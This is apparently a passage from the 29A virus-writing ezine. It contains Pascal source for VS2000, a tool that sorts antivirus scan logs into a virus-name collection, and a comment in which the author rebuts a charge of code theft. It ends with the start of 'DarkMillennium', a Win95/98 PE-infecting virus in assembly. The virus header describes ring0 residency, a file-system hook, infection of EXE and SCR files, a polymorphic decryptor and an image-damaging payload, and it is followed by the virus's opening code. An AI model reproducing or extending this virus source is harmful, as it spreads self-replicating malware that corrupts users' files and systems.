writeln(' -a writeln(' -h writeln; halt; end;

{s} {s} {l} {s} {u}

<logname> <logname> <logname>

Build new DAT file'); Compare someone elses log'); Add new virii'); Count virii');

procedure call_buffer; begin tbuffsize:=Maxavail; if tbuffsize > $fff0 then tbuffsize := $fff0; getmem(tbuff,tbuffsize); end; procedure inicializa_diccionarios; begin

dicAssign(dic1,'dict1'); dicRewrite(dic1,4000); dicAssign(dic2,'dict2'); dicRewrite(dic2,4000); dicAssign(dic3,'dict3'); dicRewrite(dic3,4000); dicAssign(dic4,'dict4'); dicRewrite(dic4,4000); dicAssign(dic5,'dict5'); dicRewrite(dic5,5000); dicAssign(dic6,'dict6'); dicRewrite(dic6,5000); dicAssign(dic7,'dict7'); dicRewrite(dic7,4000); dicAssign(dic8,'dict8'); dicRewrite(dic8,4000); dicAssign(dic9,'dict9'); dicRewrite(dic9,4000); dicAssign(dic10,'dict10'); dicRewrite(dic10,4000); dicAssign(dic11,'dict11'); dicRewrite(dic11,4000); dicAssign(dic12,'dict12'); dicRewrite(dic12,4000); dicAssign(dic13,'dict13'); dicRewrite(dic13,4000); end; procedure escribe_diccionario; begin if UpCase(virusname[1]) >= 'T' then begin if UpCase(virusname[1]) <= 'U' then dicWrite(dic8, virusname,test) else if UpCase(virusname[1]) = 'V' then dicWrite(dic9, virusname,test) else if UpCase(virusname[1]) = 'W' then dicWrite(dic6, virusname,test) else if UpCase(virusname[1]) <= 'Z' then dicWrite(dic10, virusname,test) else dicWrite(dic1,virusname,test); end else if UpCase(virusname[1]) >= 'M' then begin if UpCase(virusname[1]) = 'M' then dicWrite(dic13, virusname,test) else if UpCase(virusname[1]) <= 'O' then dicWrite( dic4,virusname,test) else if UpCase(virusname[1]) <= 'Q' then dicWrite( dic5,virusname,test) else if UpCase(virusname[1]) <= 'S' then dicWrite( dic7,virusname,test); end else begin if UpCase(virusname[1]) <= 'B' then dicWrite(dic1,virusname,test) else if UpCase(virusname[1]) <= 'F' then dicWrite(dic2,virusname,test) else if UpCase(virusname[1]) <= 'H' then dicWrite(dic3,virusname,test) else if UpCase(virusname[1]) <= 'J' then dicWrite(dic11,virusname,test) else if UpCase(virusname[1]) <= 'L' then dicWrite(dic12,virusname,test); end; end;

procedure cierra_diccionarios; begin dicClose; dicErase(dic1); dicErase(dic2); dicErase(dic3); dicErase(dic4); dicErase(dic5); dicErase(dic6); dicErase(dic7); dicErase(dic8); dicErase(dic9); dicErase(dic10); dicErase(dic11); dicErase(dic12); dicErase(dic13); end; procedure no_virii; begin writeln('No virii found to process!'); end; procedure no_new_virii_found; begin writeln('No new virii found'); end; procedure no_new_virii_added; begin writeln('No new virii added'); end; procedure not_find_avp; begin writeln('Can not find AVP.DAT in current directory!'); end; procedure not_find_fprot; begin writeln('Can not find FPROT.DAT in current directory!'); end; procedure no_dat; begin writeln('No DAT files found!'); end; procedure longitud(log_file : string); var f : file of Byte; size : Longint; begin assign(f,log_file); reset(f); size := filesize(f); close(f); if size = 0 then erase(f); end; procedure OpenLog(logname : string); begin

assign(log,logname); call_buffer; settextbuf(log,tbuff^,tbuffsize); {$I-} reset(log); {$I+} flag2:=false; if IOResult <> 0 then flag2 := true; end; procedure DetectLog; begin flag1:=false; tipo:=''; while flag1=false do begin readln(log,instring); if (pos('infected:',instring)) or (pos('warning:',instring)) > 0 then begin tipo:='AVP'; flag1:=true; end else if pos(' Infection: ',instring) > 0 then begin tipo:='F-PROT'; flag1:=true; end; if eof(log) then flag1:=true; end; end; procedure BuildNewDat_A(logname:string); begin writeln('Detected AVP log file'); writeln('Building AVP.DAT from ',logname); reset(log); assign(f,'AVP.DAT'); call_buffer; settextbuf(f,tbuff^,tbuffsize); rewrite(f); inicializa_diccionarios; count := 0; repeat readln(log,instring); flag1 := false; filename := instring; virusname := instring; if pos('infected:',filename) > 0 then begin for last_bar:=length(filename) downto 0 do if filename[last_bar]=':' then break; delete(filename,last_bar-9,length(filename)); delete(virusname,1,last_bar+1); flag1 := true; end else if pos('warning:',filename) > 0 then begin for last_bar:=length(filename) downto 0 do if filename[last_bar]=':' then break; delete(filename,last_bar-8,length(filename));

delete(virusname,1,last_bar+1); virusname := virusname+'.warning'; flag1 := true; end; if flag1 = true then begin if pos(' ',virusname) >0 then begin tmp_str:=copy(virusname,1,pos(' ',virusname )-1); delete(virusname,1,pos(' ',virusname)); virusname:=concat(tmp_str+'_'+virusname); end; escribe_diccionario; if test < 0 then begin inc(count); writeln(f,filename,#1,virusname); end; end; until eof(log); writeln(count,' virii found for AVP...'); Cierra_diccionarios; close(f); close(log); writeln; end; procedure BuildNewDAT_F(logname:string); begin writeln('Detected F-Prot log file'); writeln('Building FPROT.DAT from ',logname); reset(log); assign(f,'FPROT.DAT'); call_buffer; settextbuf(f,tbuff^,tbuffsize); rewrite(f); inicializa_diccionarios; count := 0; repeat readln(log,instring); space_position:=pos('ection: ',instring); if space_position > 0 then begin filename := instring; virusname := instring; delete(filename,space_position-5,length(filename)); delete(virusname,1,space_position+7); if pos('New or',virusname) > 0 then begin delete(virusname,1,pos('of ', virusname)+2); virusname:=concat(virusname+ '.variant'); end; if (parm1 = '-BS') then else if pos(' ',virusname) > 0 then delete(virusname,pos(' ',virusname), length(virusname));

escribe_diccionario; if test < 0 then begin inc(count); writeln(f,filename,#1,virusname); end; end; until eof(log); writeln(count,' virii found for F-Prot...'); Cierra_diccionarios; close(f); close(log); writeln; end; procedure CompareDAT_A(logname:string); begin writeln('Comparing virii from ',logname); writeln('Detected AVP log file'); reset(log); inicializa_diccionarios; assign(f,'avp.dat'); call_buffer; settextbuf(f,tbuff^,tbuffsize); {$I-} reset(f); {$I+} if IOResult <> 0 then not_find_avp else begin repeat readln(f,virusname); delete(virusname,1,pos(#1,virusname)); escribe_diccionario; until eof(f); close(f); tmp_str:=('NEWAVP.LOG'); assign(newfile,'NEWAVP.LOG'); call_buffer; settextbuf(newfile,tbuff^,tbuffsize); {$I-} reset(newfile); {$I+} count:=1; while IOResult = 0 do begin close(newfile); str(count,tmp_str); for i:=1 to 1-length(tmp_str) do tmp_str:=tmp_str; tmp_str:=concat('NEWAVP.LO'+tmp_str); inc(count); assign(newfile,tmp_str); call_buffer; settextbuf(newfile,tbuff^,tbuffsize); {$I-} reset(newfile); {$I+} end;

rewrite(newfile); count := 0; log_file:=tmp_str; repeat readln(log,instring); flag1 := false; virusname := instring; if pos('infected:',virusname) >0 then begin for last_bar:=length(virusname) downto 0 do if virusname[last_bar]=':' then break; delete(virusname,1,last_bar+1); flag1 := true; end else begin if pos('warning:',virusname) >0 then begin for last_bar:=length(virusname) downto 0 do if virusname[last_bar]= ':' then break; delete(virusname,1,last_bar+1); virusname := virusname+'.warning'; flag1 := true; end; end; if flag1 = true then begin if pos(' ',virusname) >0 then begin tmp_str:=copy(virusname,1,pos(' ',virusname )-1); delete(virusname,1,pos(' ',virusname)); virusname:=concat(tmp_str+'_'+virusname); end; escribe_diccionario; if test < 0 then begin inc(count); writeln(newfile,instring); end; end; until eof(log); if count=0 then no_new_virii_found else begin writeln(count,' new AVP virii found...'); writeln; end; Cierra_diccionarios; close(newfile); close(log); longitud(log_file); end; end; procedure CompareDAT_F(logname:string); begin

writeln('Comparing virii from ',logname); writeln('Detected F-Prot log file'); reset(log); inicializa_diccionarios; assign(f,'fprot.dat'); call_buffer; settextbuf(f,tbuff^,tbuffsize); {$I-} reset(f); {$I+} if IOResult <> 0 then not_find_fprot else begin repeat readln(f,virusname); delete(virusname,1,pos(#1,virusname)); escribe_diccionario; until eof(f); close(f); tmp_str:=('NEWFPROT.LOG'); assign(newfile,'NEWFPROT.LOG'); call_buffer; settextbuf(newfile,tbuff^,tbuffsize); {$I-} reset(newfile); {$I+} count:=1; while IOResult = 0 do begin close(newfile); str(count,tmp_str); for i:=1 to 1-length(tmp_str) do tmp_str:=tmp_str; tmp_str:=concat('NEWFPROT.LO'+tmp_str); inc(count); assign(newfile,tmp_str); call_buffer; settextbuf(newfile,tbuff^,tbuffsize); {$I-} reset(newfile); {$I+} end; rewrite(newfile); count := 0; log_file:=tmp_str; repeat readln(log,instring); space_position:=pos('ection: ',instring); if space_position > 0 then begin virusname := instring; delete(virusname,1,space_position+7); if pos('New or',virusname) > 0 then begin delete(virusname,1,pos('of ', virusname)+2); virusname:=concat(virusname+ '.variant');

end; if (parm1 = '-CS') or (parm1 = '-CSW') then else if pos(' ',virusname) > 0 then delete(virusname,pos(' ',virusname), length(virusname)); escribe_diccionario; if test < 0 then begin inc(count); writeln(newfile,instring); end; end; until eof(log); if count=0 then no_new_virii_found else begin writeln(count,' new F-Prot virii found...'); writeln; end; Cierra_diccionarios; close(newfile); close(log); longitud(log_file); end; end; procedure AddNewDAT_A(logname:string); begin writeln('Adding virii from ',logname); writeln('Detected AVP log file'); reset(log); inicializa_diccionarios; assign(f,'avp.dat'); call_buffer; settextbuf(f,tbuff^,tbuffsize); {$I-} reset(f); {$I+} if IOResult <> 0 then not_find_avp else begin repeat readln(f,virusname); delete(virusname,1,pos(#1,virusname)); escribe_diccionario; until eof(f); close(f); if (parm1 = '-AL') or (parm1 = '-ALS') then begin tmp_str:=('NEWAVP.LOG'); assign(newfile,tmp_str); call_buffer; settextbuf(newfile,tbuff^,tbuffsize); {$I-} reset(newfile); {$I+} count:=1; while IOResult = 0 do begin

close(newfile); str(count,tmp_str); for i:=1 to 1-length(tmp_str) do tmp_str:=tmp_str; tmp_str:=concat('NEWAVP.LO'+tmp_str); inc(count); assign(newfile,tmp_str); call_buffer; settextbuf(newfile,tbuff^,tbuffsize); {$I-} reset(newfile); {$I+} end; rewrite(newfile); log_file:=tmp_str; end; count := 0; append(f); repeat readln(log,instring); flag1 := false; filename := instring; virusname := instring; if pos('infected:',filename) > 0 then begin for last_bar:=length(filename) downto 0 do if filename[last_bar]=':' then break; delete(filename,last_bar-9,length(filename)); delete(virusname,1,last_bar+1); flag1 := true; end else if pos('warning:',filename) > 0 then begin for last_bar:=length(filename) downto 0 do if filename[last_bar]=':' then break; delete(filename,last_bar-8,length(filename)); delete(virusname,1,last_bar+1); virusname := virusname+'.warning'; flag1 := true; end; if flag1 = true then begin if pos(' ',virusname) >0 then begin tmp_str:=copy(virusname,1,pos(' ',virusname )-1); delete(virusname,1,pos(' ',virusname)); virusname:=concat(tmp_str+'_'+virusname); end; escribe_diccionario; if test < 0 then begin inc(count); writeln(f,filename,#1,virusname); if (parm1 = '-AL') or (parm1 = '-ALS') then writeln(newfile, instring); end; end; until eof(log); if count=0 then no_new_virii_added else begin

writeln('Added ',count,' new virii for AVP...'); writeln; end; Cierra_diccionarios; close(f); close(log); if (parm1 = '-AL') or (parm1 = '-ALS') then begin close(newfile); longitud(log_file); end; end; end; procedure AddNewDAT_F(logname:string); begin writeln('Adding virii from ',logname); writeln('Detected F-Prot log file'); reset(log); inicializa_diccionarios; assign(f,'fprot.dat'); call_buffer; settextbuf(f,tbuff^,tbuffsize); {$I-} reset(f); {$I+} if IOResult <> 0 then not_find_fprot else begin repeat readln(f,virusname); delete(virusname,1,pos(#1,virusname)); escribe_diccionario; until eof(f); close(f); if (parm1 = '-AL') or (parm1 = '-ALS') then begin tmp_str:=('NEWFPROT.LOG'); assign(newfile,tmp_str); call_buffer; settextbuf(newfile,tbuff^,tbuffsize); {$I-} reset(newfile); {$I+} count:=1; while IOResult = 0 do begin close(newfile); str(count,tmp_str); for i:=1 to 1-length(tmp_str) do tmp_str:=tmp_str; tmp_str:=concat('NEWFPROT.LO'+tmp_str); inc(count); assign(newfile,tmp_str); call_buffer; settextbuf(newfile,tbuff^,tbuffsize); {$I-} reset(newfile); {$I+}

end; rewrite(newfile); log_file:=tmp_str; end; count := 0; append(f); repeat readln(log,instring); space_position:=pos('ection: ',instring); if space_position > 0 then begin filename := instring; virusname := instring; delete(filename,space_position-5,length(filename)); delete(virusname,1,space_position+7); if pos('New or',virusname) > 0 then begin delete(virusname,1,pos('of ', virusname)+2); virusname:=concat(virusname+ '.variant'); end; if (parm1 = '-AS') or (parm1 = '-ALS') then else if pos(' ',virusname) > 0 then delete(virusname,pos(' ',virusname), length(virusname)); escribe_diccionario; if test < 0 then begin inc(count); writeln(f,filename,#1,virusname); if (parm1 = '-AL') or (parm1 = '-ALS') then writeln(newfile,instring); end; end; until eof(log); if count=0 then no_new_virii_added else begin writeln('Added ',count,' new virii for F-Prot...'); writeln; end; Cierra_diccionarios; close(f); close(log); if (parm1 = '-AL') or (parm1 = '-ALS') then begin close(newfile); longitud(log_file); end; end; end; procedure CountViruses; begin flag1 := false; assign(f,'avp.dat'); {$I-} reset(f);

{$I+} if IOResult = 0 then begin flag1 := true; count:= 0; if parm1 = '-H' then begin repeat readln(f,temp_string); count := count + 1; until eof(f); writeln(count,' virii for AVP'); end else begin repeat readln(f,temp_string); if pos('warning',temp_string) > 0 then else count := count + 1; until eof(f); writeln(count,' unique virii for AVP'); end; close(f); end; assign(f,'fprot.dat'); {$I-} reset(f); {$I+} if IOResult = 0 then begin flag1 := true; count := 0; if parm1 = '-H' then begin repeat readln(f,temp_string); count := count + 1; until eof(f); writeln(count,' virii for F-Prot'); end else begin repeat readln(f,temp_string); if (pos('unknown?',temp_string) > 0) or (pos('damaged?',temp_string) > 0) then else count := count + 1; until eof(f); writeln(count,' unique virii for F-Prot'); end; close(f); end; if flag1 = false then no_dat; halt; end; procedure BuildNew; begin DetectLog; if tipo = 'AVP' then BuildNewDat_A(parm2)

else if tipo = 'F-PROT' then BuildNewDat_F(parm2) else no_virii; end; procedure CompareDat; begin DetectLog; if tipo = 'AVP' then CompareDat_A(parm2) else if tipo = 'F-PROT' then CompareDat_F(parm2) else no_virii; end; procedure AddNewDat; begin DetectLog; if tipo = 'AVP' then AddNewDat_A(parm2) else if tipo = 'F-PROT' then AddNewDat_F(parm1) else no_virii; end; begin writeln; writeln(' Virsort 2000 Special Edition for 29A #5 by VirusBuster/29A'); writeln( '-=----------------------------------------------------------------------------=-'); parm1 := paramstr(1); parm2 := paramstr(2); parm3 := paramstr(3); for i := 1 to Length(parm1) do parm1[i] := UpCase(parm1[i]); for i := 1 to Length(parm2) do parm2[i] := UpCase(parm2[i]); for i := 1 to Length(parm3) do parm3[i] := UpCase(parm3[i]); if (parm1 = '') or (parm1[1] <> '-') then ShowHelp; if parm1[2] = 'H' then CountViruses else OpenLog(parm2); if flag2 = True then begin writeln('Log file not found!'); halt; end else begin if parm1[2] = 'B' then BuildNew else if parm1[2] = 'C' then CompareDAT else if parm1[2] = 'A' then AddNewDAT else writeln('Unknown command. Run VS2000 without parameters for help!'); close(log); end; writeln; end. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[VS2000.PAS]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[LGARRAY.PAS]ÄÄÄ unit lgArray; interface type longArray=record name: string[40]; private: array[1..35] of byte end; stringPtr=^string; longintPtr=^longint;

dictionary=record name: string[40]; index,corpus: longArray; frequency: longint; fqPtr: longintPtr; end; procedure procedure procedure procedure procedure procedure procedure procedure procedure procedure function function function procedure procedure procedure procedure procedure procedure procedure procedure memAssign(var a: longArray; st: string); memRewrite(var a: longArray; items: longint; itemSize: word); memSeek(var a: longArray; item: longint); memRead(var a: longArray; var item); memWrite(var a: longArray; var item); memSeekAndRead(var a: longArray; i: longint; var item); memSeekAndWrite(var a: longArray; i: longint; var item); memPut(var a: longArray; var item); memClose; memErase(var a: longArray); memFileSize(var a: longArray):longint; memLast(var a: longArray): longint; memFilePos(var a: longArray): longint; dicAssign(var d: dictionary; st: string); dicRewrite(var d: dictionary; items: longint); dicFind(var d: dictionary; st: string; var foundPos: longint); dicWrite(var d: dictionary; st: string; var i: longint); dicPut(var d: dictionary; st: string); dicSeekAndWrite(var d: dictionary; i: longint; st: string); dicClose; dicErase(var d: dictionary);

procedure SetFq(var st: string; fq: longint); procedure GetFq(var st: string; var fq: longint); const expectedWordLength=10; type aRowPtr=^aRow; aDictionaryPtr=^dictionary; anIndex=array[0..0] of aRowPtr; anIndexPtr=^anIndex; aRow= array[0..0] of byte; memRec=object name: string[40]; bytesPerRow,bytesInIndex,lastRow,recordsPerRow, bytesPerRecord,shift,mask: word; maxRecordsInArray,lastRecord,pos: longint; insertMode: boolean; rowPtrNo: anIndexPtr; dicPtr: aDictionaryPtr; end; implementation uses crt; procedure SetFq(var st: string; fq: longint); begin if length(st)>251 then st[0]:=#251; move(fq,st[length(st)+1],4); inc(st[0],4); end; procedure GetFq(var st: string; var fq: longint); begin dec(st[0],4); move(st[length(st)+1],fq,4) end;

procedure MemAssign(var a: longArray; st: string); begin a.name:=st end; procedure MemRewrite(var a: longArray; items: longint; itemSize: word); var i: word; n: longint; begin FillChar(a.Private,SizeOf(a.Private),0); with memRec(a) do begin bytesPerRecord:=itemSize; recordsPerRow:=65520 div bytesPerRecord; if recordsPerRow>items then recordsPerRow:=items; n:=32768; shift:=15; while (n>recordsPerRow) and (n>2) do begin n:=n div 2; dec(shift) end; mask:=(1 shl shift) -1; recordsPerRow:=n; bytesPerRow:=recordsPerRow * bytesPerRecord; lastRow:=items div recordsPerRow; (* first Row = 0 *) maxRecordsInArray:=longint(lastRow+1) * longint(recordsPerRow); lastRecord:=-1; bytesInIndex:=(lastRow+1)*sizeOf(pointer); GetMem(rowPtrNo,bytesInIndex); for i:=0 to lastRow do begin GetMem(rowPtrNo^[i],bytesPerRow); FillChar(rowPtrNo^[i]^,bytesPerRow,0) end; end end; procedure MemExpand(var a: longArray; items: longint); var newLastRow,bytesInNewIndex,i: word; newIndex_: anIndexPtr; begin with memRec(a) do begin newLastRow:=(items) div recordsPerRow; if newLastRow<=lastRow then exit; bytesInNewIndex:=(newLastRow+1)*sizeOf(pointer);

GetMem(newIndex_,bytesInNewIndex); Move(rowPtrNo^,newIndex_^,bytesInIndex); FreeMem(rowPtrNo,bytesInIndex); rowPtrNo:=newIndex_; for i:=lastRow+1 to newLastRow do begin GetMem(rowPtrNo^[i],bytesPerRow); FillChar(rowPtrNo^[i]^,bytesPerRow,0); end; lastRow:=newLastRow; bytesInIndex:=bytesInNewIndex; maxRecordsInArray:=(lastRow+1)*recordsPerRow; end end; procedure memReadString(var a: longArray; var st: string); var row,col,lgth: word; stPtr: stringPtr; begin with memRec(a) do begin row:= pos shr shift;

col:=(pos and mask); stPtr:=addr(rowPtrNo^[row]^[col]); lgth:=length(stPtr^)+1; Move(stPtr^,st,lgth); inc(pos,lgth); end end; procedure memReadStringPtr(var a: longArray; var st: stringPtr); var row,col: word; begin with memRec(a) do begin row:= pos shr shift; col:=(pos and mask); st:=addr(rowPtrNo^[row]^[col]); end end; procedure MemWriteString(var a: longArray; st: string); var row,col,lgth: word; begin with memRec(a) do begin lgth:=length(st)+1; row:= pos shr shift; col:=(pos and mask); if col+lgth>bytesPerRow-1 then begin inc(row); col:=0; if row>lastRow then MemExpand(a,longint(row+1)*bytesPerRow); end; Move(st,rowPtrNo^[row]^[col],lgth); lastRecord:=longint(row)*bytesPerRow+col+lgth-1; pos:=lastRecord+1; end end; procedure MemSeek(var a: longArray; item: longint); begin with memRec(a) do begin if (item<0) then Exit; if (item>maxRecordsInArray) then MemExpand(a,item); pos:=item; end; end; procedure memMoveVar(var a: longArray; pos1,pos2,itemsToMove: longint); var newlastRecord: longint; itemsFromSource,itemsIntoTarget: word; res, {Row of end of source } rss, {Row of start of source } ces, {Col of end of source } ret, {Row of end of target } cet {Col of end of target } : word; begin with MemRec(a) do begin newlastRecord:=pos2+itemsToMove-1; if newLastRecord<lastRecord then newLastRecord:=lastRecord; lastRecord:=newLastRecord; if newLastRecord>=maxRecordsInArray then begin MemExpand(a,newlastRecord); end; rss:=pos1 div recordsPerRow; inc(pos1,itemsToMove-1); inc(pos2,itemsToMove-1); res:=pos1 div recordsPerRow;

ret:=pos2 div recordsPerRow; ces:=pos1 mod recordsPerRow; cet:=pos2 mod recordsPerRow; repeat if rss=res then itemsFromSource:=itemsToMove else itemsFromSource:=ces+1; itemsIntoTarget:=cet+1; if itemsFromSource>itemsIntoTarget then itemsFromSource:=itemsIntoTarget; Move(rowPtrNo^[res]^[bytesPerRecord*(ces+1-itemsFromSource)], rowPtrNo^[ret]^[bytesPerRecord*(cet+1-itemsFromSource)], itemsFromSource*bytesPerRecord); dec(itemsToMove,itemsFromSource); dec(pos1,itemsFromSource); res:=pos1 div recordsPerRow; ces:=pos1 mod recordsPerRow; dec(pos2,itemsFromSource); ret:=pos2 div recordsPerRow; cet:=pos2 mod recordsPerRow; until itemsToMove=0; end end; procedure memPutVar(var a: longArray; var what); var row,col: word; dummy: byte absolute what; begin with memRec(a) do begin if pos+1>maxRecordsInArray then BEGIN MemExpand(a,pos); END; if pos>lastRecord then lastRecord:=pos; row:= pos shr shift; col:=(pos and mask) * bytesPerRecord; Move(dummy,rowPtrNo^[row]^[col],bytesPerRecord); end; end; procedure memInsertVar(var a: longArray; var what); var row,col: word; dummy: byte absolute what; begin with memRec(a) do begin if pos<=lastRecord then memMoveVar(a,pos,pos+1,lastRecord-pos+1) else begin if pos+1>maxRecordsInArray then MemExpand(a,pos); if pos>lastRecord then lastRecord:=pos; end; row:= pos shr shift; col:=(pos and mask) * bytesPerRecord; Move(dummy,rowPtrNo^[row]^[col],bytesPerRecord); end; end; procedure MemRead(var a: longArray; var item); var row,col: word; dummy: byte absolute item; begin with MemRec(a) do begin if pos>lastRecord then FillChar(dummy,bytesPerRecord,0) else begin row:= pos shr shift;

col:=(pos and mask) * bytesPerRecord; Move(rowPtrNo^[row]^[col],dummy,bytesPerRecord); inc(pos) end end end; procedure MemWrite(var a: longArray; var item); var anon: byte absolute item; begin with memRec(a) do begin if insertMode then MemInsertVar(a,anon) else MemPutVar(a,anon); inc(pos) end; end; procedure MemPut(var a: longArray; var item); var anon: byte absolute item; begin with memRec(a) do begin if insertMode then MemInsertVar(a,anon) else MemPutVar(a,anon); end; end; procedure MemSeekAndWrite(var a: longArray; i: longint; var item); var anon: byte absolute item; begin with memRec(a) do begin pos:=i; if insertMode then MemInsertVar(a,anon) else MemPutVar(a,anon); inc(pos); end; end; procedure MemSeekAndRead(var a: longArray; i: longint; var item); var row,col: word; dummy: byte absolute item; begin with MemRec(a) do begin pos:=i; if pos>lastRecord then FillChar(dummy,bytesPerRecord,0) else begin row:= pos shr shift; col:=(pos and mask) * bytesPerRecord; Move(rowPtrNo^[row]^[col],dummy,bytesPerRecord); inc(pos) end end end; procedure MemSetInsertMode(var a: longArray; onOff: boolean); begin memRec(a).insertMode:=onOff end; procedure MemClose; begin end; procedure MemErase(var a: longArray); var i: word; begin with MemRec(a) do begin for i:=lastRow downto 0 do FreeMem(rowPtrNo^[i],bytesPerRow);

FreeMem(rowPtrNo,bytesInIndex); end end; function MemLast(var a: longArray): longint; begin MemLast:=memRec(a).lastRecord end; function MemFileSize(var a: longArray):longint; begin MemFileSize:=memRec(a).lastRecord+1 end; function MemFilePos(var a: longArray): longint; begin MemFilePos:=memRec(a).pos end; procedure dicAssign(var d: dictionary; st: string); begin with d do begin name:=st; memAssign(index,'index'); memAssign(corpus,'corpus'); end end; procedure dicRewrite(var d: dictionary; items: longint); var null: string; begin with d do begin memRewrite(index,items,SizeOf(pointer)); memSetInsertMode(index,true); items:=items*(expectedWordLength+5); if items<256 then items:=256; memRewrite(corpus,items,sizeOf(char)); memRec(index).dicPtr:=@d; memRec(corpus).dicPtr:=@d; end; null:=''; dicPut(d,null); end; procedure dicClose; begin end; procedure dicErase(var d: dictionary); begin memErase(d.corpus); memErase(d.index) end; procedure dicFind(var d: dictionary; st: string; var foundPos: longint); var lo,mid,hi,posInCorpus,oldPos: longint; found: boolean; tmpPtr: stringPtr; tmp: string; begin with d do begin found:=false; lo:=0; hi:=memFileSize(index)-1; oldPos:=memRec(corpus).pos; while (lo<=hi) and not found do begin mid:=(lo+hi) div 2; memSeekAndRead(index,mid,posInCorpus); memSeek(corpus,posInCorpus); memReadStringPtr(corpus,tmpPtr); tmp:=tmpPtr^; GetFq(tmp,frequency); if st>tmp then lo:=mid+1 else if st<tmp then hi:=mid-1 else if st=tmp then found:=true; end;

if found then begin FoundPos:=mid; fqPtr:=longintPtr(longint(tmpPtr)+length(tmp)+1); end else foundPos:=-lo; memRec(corpus).pos:=oldPos; end; end; procedure dicPut(var d: dictionary; st: string); var indexPos: longint; begin with d do begin SetFq(st,1); memWriteString(corpus,st); indexPos:=memFileSize(corpus)-(length(st)+1); memWrite(index,indexPos); end end; procedure dicSeekAndWrite(var d: dictionary; i: longint; st: string); var corpusPos: longint; begin with d do begin SetFq(st,1); memWriteString(corpus,st); corpusPos:=memFilePos(corpus)-(length(st)+1); memSeekAndWrite(index,i,corpusPos); end end;

procedure dicWrite(var d: dictionary; st: string; var i: longint); begin dicFind(d,st,i); if i<0 then dicSeekAndWrite(d,-i,st) else inc(d.fqPtr^); end; end. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[LGARRAY.PAS]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[COMMENT.TXT]ÄÄÄ Black Cat has been accusing me about i stole his VSNG source code and i used it to improve VS2000's speed. All this time i have been saying Black Cat was lying, and now it's the time to prove it... Sorry for you Black Cat, but you are going to be remembered as a big lamer and liar. Here i release an optimized version of the VS2000 version i released in 29A #4. As you can see, the code is the same, the main modification is the optimization of speed i got distributing the work in several dictionaries. You can compare VS2000 8.88 speed, last version of official VS200, with this version, and you will notice is the same. That means VS2000 never has used any code from VSNG, as i have told many times already. The question about if i stole Black Cat's code is finally over! VirusBuster/29A ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[COMMENT.TXT]ÄÄÄ

; DarkMillennium Project ; developed by Clau / Ultimate Chaos ; ; The Project is a Win95/98 compatible virus. ; Also this is my first virus that infects PE files. ; ; Greets goes to all Ultimate Chaos members and all people in VX scene. ; Respect to all of you. ; ;---------------; DESCRIPTION | ;---------------; ; on program load : ; - it proccess a polymorphic decryptor ; - it is made in 2 parts ; - 1. Finding the key that encryption was made with (between 0 ... 65535) ; - 2. Decrypt the code with that key ; - check if it is already resident ; - if not, go into ring0 ; - get memory with GetHeap ; - copy itself into allocated memory ; - hook the API (InstallFileSystemAPIhook) ; -return to host program ; on FS calls, if IFSFN_OPEN/IFSFN_RENAME/IFSFN_FILEATRIB ; - check if extension is EXE/SCR ; - check if the file format is PE ; - if so, infect the file ; - Generate random polymorphic decryptor, and write it to file ; - Encrypt the code with a simple XOR method using a random key witch is never saved ; It use only 2 bytes buffer for encryption, it encrypt 2 bytes at a time and write them ; into the file, until all the code is encrypted and written. This method is slower, ; but low memory is used. ; - check for a condition and if it is true then display a message box trough VxD call ; payloads, the condition is the number of infected files be equal to infected_nr_trigger ; - thanks goes to Midnyte (member of Ultimate Chaos, coder, GFXer) for helping me with this nice payload ; - on BMP and GIF open they will go darker and darker on every open ; - on some BMPs and GIFs the effect is more cool, I can say strange ; ;---------------------------------------; Polymoprhic engine description | ;---------------------------------------; ; This is my first poly engine. ; - random junk code ; - do nothing instructions (instructions that do not interfer with the decryptor) ; - they are 1, 2 or more bytes instructions, and more instructions combined ; - 1 byte - cmc, clc, stc, nop ; - 2 bytes - a range of INTs ; - > 2 bytes - it can generate random MOV, PUSH, POP ... infact all instructions ; that are used in decryptor, without interfering with the decryptor (it use regs ; that are not used in decrypt process) ; - more ways to do the same thing instructions ; example : MOV EAX, 12345678h <=> PUSH 12345678h ; POP EAX ; - the decryptor size can be ~ 3 times bigger then the original decryptor ; - if the decryptor is smaller then the decryptor before, the space between it and the

encrypted code ; will be filled with junk. ; ; ; Compile with: ; tasm32 /m3 /ml darkmillennium.asm ; tlink32 /Tpe /aa /x darkmillennium.obj, darkmillennium.exe, , import32.lib ; ; report any bugs to clau@ultimatechaos.org ; .386p .model extrn extrn

flat ExitProcess:proc MessageBoxA:proc

VxDCall macro vxd_id, service_id int 20h dw service_id dw vxd_id endm IFSMgr = 0040h ; VxD service GetHeap = 000dh InstallFileSystemAPIhook = 0067h Ring0_FileIO = 0032h UniToBCSPath = 0041h IFSFN_OPEN = 36 IFSFN_RENAME = 37 IFSFN_FILEATTRIB = 33 R0_opencreatefile = 0d500h ; open/create file R0_readfile = 0d600h ; read a file, no context R0_writefile = 0d601h ; write to a file, no context R0_closefile = 0d700h ; close a file exception_int = 3 exe_ext = 'EXE.' scr_ext = 'RCS.' bmp_ext = 'PMB.' gif_ext = 'FIG.' virussize = _end - Start virussize_plus_buffers = virussize + ( _end_2 - _end ) polyengine_size = _end - GenDecryptor infected_nr_trigger = 200 .code Begin: push 64 push offset w_title push offset copyright push 0 call MessageBoxA jmp Start .data ;-------------------- Start Code ------------------Start: Delta: call Delta mov esi, esp mov ebp, dword ptr ss:[esi] sub ebp, offset Delta

